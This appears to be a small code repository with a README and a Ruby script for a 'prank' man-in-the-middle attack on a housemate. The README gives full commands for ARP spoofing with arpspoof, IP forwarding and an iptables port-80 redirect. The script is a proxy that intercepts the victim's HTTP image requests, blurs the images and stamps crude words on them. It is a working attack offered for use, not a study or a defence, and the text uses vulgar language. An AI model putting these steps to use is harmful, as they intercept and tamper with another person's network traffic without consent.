Penisnet

0_readme.md

Penisnet

So. One of my housemates pranked me, and I decided to get my revenge. My revenge was 100% inspired by upside-down-ternet, and goes as follows:

1. Linux box running the ruby script below, which acts as a transparent proxy
2. iptables rules on the linux box route all port 80 requests through the proxy
3. arp poisoning routes all of the victim's traffic through the linux box
4. Proxy isn't actually transparent. It intercepts requests for images, and does some processing on them, blurring them and writing a rude word in the middle.
5. Hilarity and confusion ensues.

Insutrctions

1. Put proxy.rb somewhere on your linux box/VM
2. Install ImageMagick using your favourite method (you might also need to install some gscript fonts)
3. Install the necessary gems: gem install eventmachine mini_magick dimensions
4. Install the arpspoof tool, which might be in a package called dnsniff
5. Enabling IP forwarding with echo 1 > /proc/sys/net/ipv4/ip_forward
6. Route all port 80 traffic through the proxy with iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 (assuming that the proxy runs on port 8080)
7. Start the proxy: ruby proxy.rb
8. Start ARP poisoning: arpspoof -i <eth device> [-t <target IP address>] <router IP address>

Caveats

This software is entirely experimental and not entirely stable. Don't be too surprised if it crashes, is inefficient, etc. Also, it will rape your computer -- the blurring especially takes lots of CPU cycles.

It can't handle anything that isn't over HTTP. If they're using HTTPS, you're fecked.

Also, make sure your target doesn't get scared to the point of re-installing their OS ><

proxy.rb

require 'eventmachine'
require 'net/http'
require 'mini_magick'
require 'dimensions'

class Upstream < EventMachine::Connection
	def initialize(client, request)
		@client, @request = client, request
	end

	def receive_data(data)
		@client.send_data(data)
		# puts data.split("\r\n").map{ |r| ">> #{r}" }.join("\r\n")
	end

	def connection_completed
		send_data(@request)
	end

	def unbind
		@client.close_connection_after_writing
	end
end

class Handler < EventMachine::Connection
	COLOURS = %w{black red yellow blue HotPink green OrangeRed crimson turquoise1}
	WORDS = %w{penis cock balls wang schlong dick willy knob chub clunge frig feck weiner choad shaft prick rod tackle boner}

	def receive_data(data)
		# puts data.split("\r\n").map{ |r| "<< #{r}" }.join("\r\n")
		# puts "\n"

		if data =~ /HTTP\/1\.\d/
			# New header...delete old proxy
			@proxy.close_connection_after_writing if @proxy
			@proxy = nil
			@buf = nil
		end

		if @proxy
			@proxy.send_data(data)
			return
		end

		(@buf ||= "") << data
		if @buf =~ /\r\n\r\n/ # all http headers received
			req = data.each_line.first.split(/\s+/)
			if req.first == 'GET' && req[1] =~ /\.(gif|png|jpg)/
				host, port = @buf.match(/^Host: (\S*)(?::(\d*))?/).captures
				path = req[1]
				host << ":#{port}" if port
				path = "http://" << File.join(host, path) unless path.include?('://')
				return_image(path)
			else
				forward_request
			end
		end
	end

	def forward_request
		host, port = @buf.match(/^Host: (\S*)(?::(\d*))?/).captures
		puts ">> Connection to #{host}:#{port}"
		@proxy = EventMachine.connect(host, port || 80, Upstream, self, @buf)
	end

	def return_image(url)
		puts ">> Image from #{url}"
		url = URI.parse(url)
		response = Net::HTTP.get_response(url)
		send_data "HTTP/#{response.http_version} #{response.code} #{response.message}\r\n"
		response.each_header do |k,v|
			send_data "#{k.capitalize}: #{v}\r\n" unless k == 'content-length'
		end

		image = MiniMagick::Image.read(response.body)
		text = WORDS.sample

		# Have to take a somewhat hack appraoch
		d = Dimensions::Reader.new
		d << response.body
		width = d.width
		# Rather crude scaling
		fontsize = (width.fdiv(text.length * 0.9)).ceil

		image.blur "1000x4"
		image.combine_options do |c|
			c.gravity "center"
			c.weight "700"
			c.fill COLOURS.sample
			c.pointsize "#{fontsize}"
			c.draw "text 0,0 '#{text.upcase}'"
		end

		blob = image.to_blob

		send_data "Content-length: #{blob.size}\r\n"
		send_data "\r\n"

		send_data image.to_blob

		rescue
			puts "!! IMAGE ERROR. Forwarding"
			forward_request
	end
end

EventMachine.run do
	puts "Starting server on 0.0.0.0:8080"
	EventMachine.start_server("0.0.0.0", 8080, Handler)
end